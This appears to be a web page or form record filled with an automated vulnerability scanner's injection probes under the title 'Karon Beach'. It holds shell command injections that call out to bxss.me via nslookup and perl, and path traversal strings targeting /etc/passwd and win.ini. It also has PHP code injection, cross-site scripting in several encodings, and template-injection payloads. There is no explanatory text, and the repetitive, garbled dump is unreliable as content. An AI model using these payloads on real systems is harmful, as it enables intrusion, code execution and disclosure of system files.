Karon Beach

1

1

1

Tm6nH0kd

${10000212+9999318}

&n907469=v901853

1CcNSdoYiEO

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

/xfs.bxss.me

HttP://bxss.me/t/xss.html?%00

bxss.me/t/xss.html?%00

938877

'"

http://xfs.bxss.me

//xfs.bxss.me

'.gethostbyname(lc('hitym'.'mzyhaykb6d161.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(85).chr(115).chr(82).'

12345'"\'\");|]*%00{%0d%0a%bf%27'????

/\xfs.bxss.me

".gethostbyname(lc("hiten"."npglcieu18c05.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(82).chr(107).chr(71)."

"+"A".concat(70-3).concat(22*4).concat(101).concat(66).concat(101).concat(88)+(require"socket" Socket.gethostbyname("hitwq"+"epqmiltb6e9ab.bxss.me.")[3].to_s)+"

'+'A'.concat(70-3).concat(22*4).concat(110).concat(72).concat(108).concat(86)+(require'socket' Socket.gethostbyname('hitrz'+'recvulpda7ce6.bxss.me.')[3].to_s)+'

)

response.write(9107309*9565288)

'+response.write(9107309*9565288)+'

!(()&&!|*|*|

"+response.write(9107309*9565288)+"

^(#$!@#$)(()))******

http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg

1some_inexistent_file_with_long_name%00.jpg

Http://bxss.me/t/fit.txt

http://bxss.me/t/fit.txt%3F.jpg

bxss.me

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

';print(md5(31337));$a='

";print(md5(31337));$a="

${@print(md5(31337))}

${@print(md5(31337))}\

'.print(md5(31337)).'

echo dmezku$()\ ugdagv\nz^xyu||a #' &echo dmezku$()\ ugdagv\nz^xyu||a #|" &echo dmezku$()\ ugdagv\nz^xyu||a #

&echo vekvoc$()\ urmltb\nz^xyu||a #' &echo vekvoc$()\ urmltb\nz^xyu||a #|" &echo vekvoc$()\ urmltb\nz^xyu||a #

|echo ckgxul$()\ zhnffr\nz^xyu||a #' |echo ckgxul$()\ zhnffr\nz^xyu||a #|" |echo ckgxul$()\ zhnffr\nz^xyu||a #

(nslookup hitlopnmjhuat58353.bxss.me||perl -e "gethostbyname('hitlopnmjhuat58353.bxss.me')")

$(nslookup hitewndvfqhvab2bf3.bxss.me||perl -e "gethostbyname('hitewndvfqhvab2bf3.bxss.me')")

&(nslookup hitzgtxfnmbud73a31.bxss.me||perl -e "gethostbyname('hitzgtxfnmbud73a31.bxss.me')")&'\"`0&(nslookup hitzgtxfnmbud73a31.bxss.me||perl -e "gethostbyname('hitzgtxfnmbud73a31.bxss.me')")&`'

|(nslookup hitedgwhghoujc7af4.bxss.me||perl -e "gethostbyname('hitedgwhghoujc7af4.bxss.me')")

`(nslookup hittxqmupdicvd0fe6.bxss.me||perl -e "gethostbyname('hittxqmupdicvd0fe6.bxss.me')")`

;(nslookup hitwunylpazuhb734c.bxss.me||perl -e "gethostbyname('hitwunylpazuhb734c.bxss.me')")|(nslookup hitwunylpazuhb734c.bxss.me||perl -e "gethostbyname('hitwunylpazuhb734c.bxss.me')")&(nslookup hitwunylpazuhb734c.bxss.me||perl -e "gethostbyname('hitwunylpazuhb734c.bxss.me')")

../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../windows/win.ini

../../../../../../../../../../../../../../../proc/version

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

../../../../../../../../../../etc/passwd%00.jpg

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

/../..//../..//../..//../..//../..//etc/passwd%00.jpg

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

/etc/passwd

%2fetc%2fpasswd

/.././.././.././.././.././.././.././../etc/./passwd%00

../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

../././../././../././../././../././../././../././../././../././../././etc/passwd

..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd

invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

file:///etc/passwd

/\../\../\../\../\../\../\../etc/passwd

/WEB-INF/web.xml

C:\WINDOWS\system32\drivers\etc\hosts

../../../../../../../../../../windows/win.ini%00.jpg

/../../../../../../../../../../boot.ini

%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini

..\..\..\..\..\..\..\..\windows\win.ini

1'"()&%IJHu(9970)

..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini

'"()&%IJHu(9495)

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

19798746

../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini

acu4927%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca4927

unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\

acux10746%C0%BEz1%C0%BCz2a%90bcxuca10746

WEB-INF/web.xml

WEB-INF\web.xml

1

1

1}}"}}'}}1%>"%>'%>

1

acx{{98991*97996}}xca

acx[[${98991*97996}]]xca

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

1IJHu(9018)

1LUMQJ[!+!]

1IJHu(9526)

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%49%4A%48%75%28%39%35%36%31%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

1IJHu(9204)

1

1IJHu(9751)

1

1

1

1

1

1

1

%31%3C%53%63%52%69%50%74%20%3E%49%4A%48%75%289620%29%3C%2F%73%43%72%69%70%54%3E

1\u003CScRiPt\IJHu(9500)\u003C/sCripT\u003E

1<ScRiPt>IJHu(9791)</sCripT>

?

1

1}body{acu:Expre/**/SSion(IJHu(9933))}

1

1HFUSi
IJHu(9413)

1MTOQW[!+!]

1

1

1

1

1'"()&%1O1S(9643)

'"()&%1O1S(9001)

19379697

acu2059%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca2059

acux6277%C0%BEz1%C0%BCz2a%90bcxuca6277

1

1

1}}"}}'}}1%>"%>'%>

1

acx{{98991*97996}}xca

acx[[${98991*97996}]]xca

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

11O1S(9445)

154QDA[!+!]

11O1S(9575)

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%31%4F%31%53%28%39%37%35%37%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

11O1S(9691)

1

11O1S(9572)

1

1

1

1

1

1

1

%31%3C%53%63%52%69%50%74%20%3E%31%4F%31%53%289322%29%3C%2F%73%43%72%69%70%54%3E

1\u003CScRiPt\1O1S(9689)\u003C/sCripT\u003E

1<ScRiPt>1O1S(9111)</sCripT>

?

1

1}body{acu:Expre/**/SSion(1O1S(9826))}

1

1Akz80
1O1S(9312)

1IHNCX[!+!]

1

1

1

1

1'"()&%YZMW(9882)

'"()&%YZMW(9863)

19989081

acu8729%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca8729

acux9994%C0%BEz1%C0%BCz2a%90bcxuca9994

1

1

1

1

acx{{98991*97996}}xca

acx{{98991*97996}}xca

acx{{98991*97996}}xca

1}}"}}'}}1%>"%>'%>

1}}"}}'}}1%>"%>'%>

1}}"}}'}}1%>"%>'%>

acx[[${98991*97996}]]xca

acx__${98991*97996}__::.x

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

acx[[${98991*97996}]]xca

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

acx[[${98991*97996}]]xca

1YZMW(9052)

1MSKHN[!+!]

1YZMW(9378)

"acxzzzzzzzzbbbccccdddeeexca".replace("z","o")

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%59%5A%4D%57%28%39%36%30%38%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%59%5A%4D%57%28%39%36%30%38%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%59%5A%4D%57%28%39%36%30%38%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E

1YZMW(9111)

1

1YZMW(9103)

1

1

1

1

1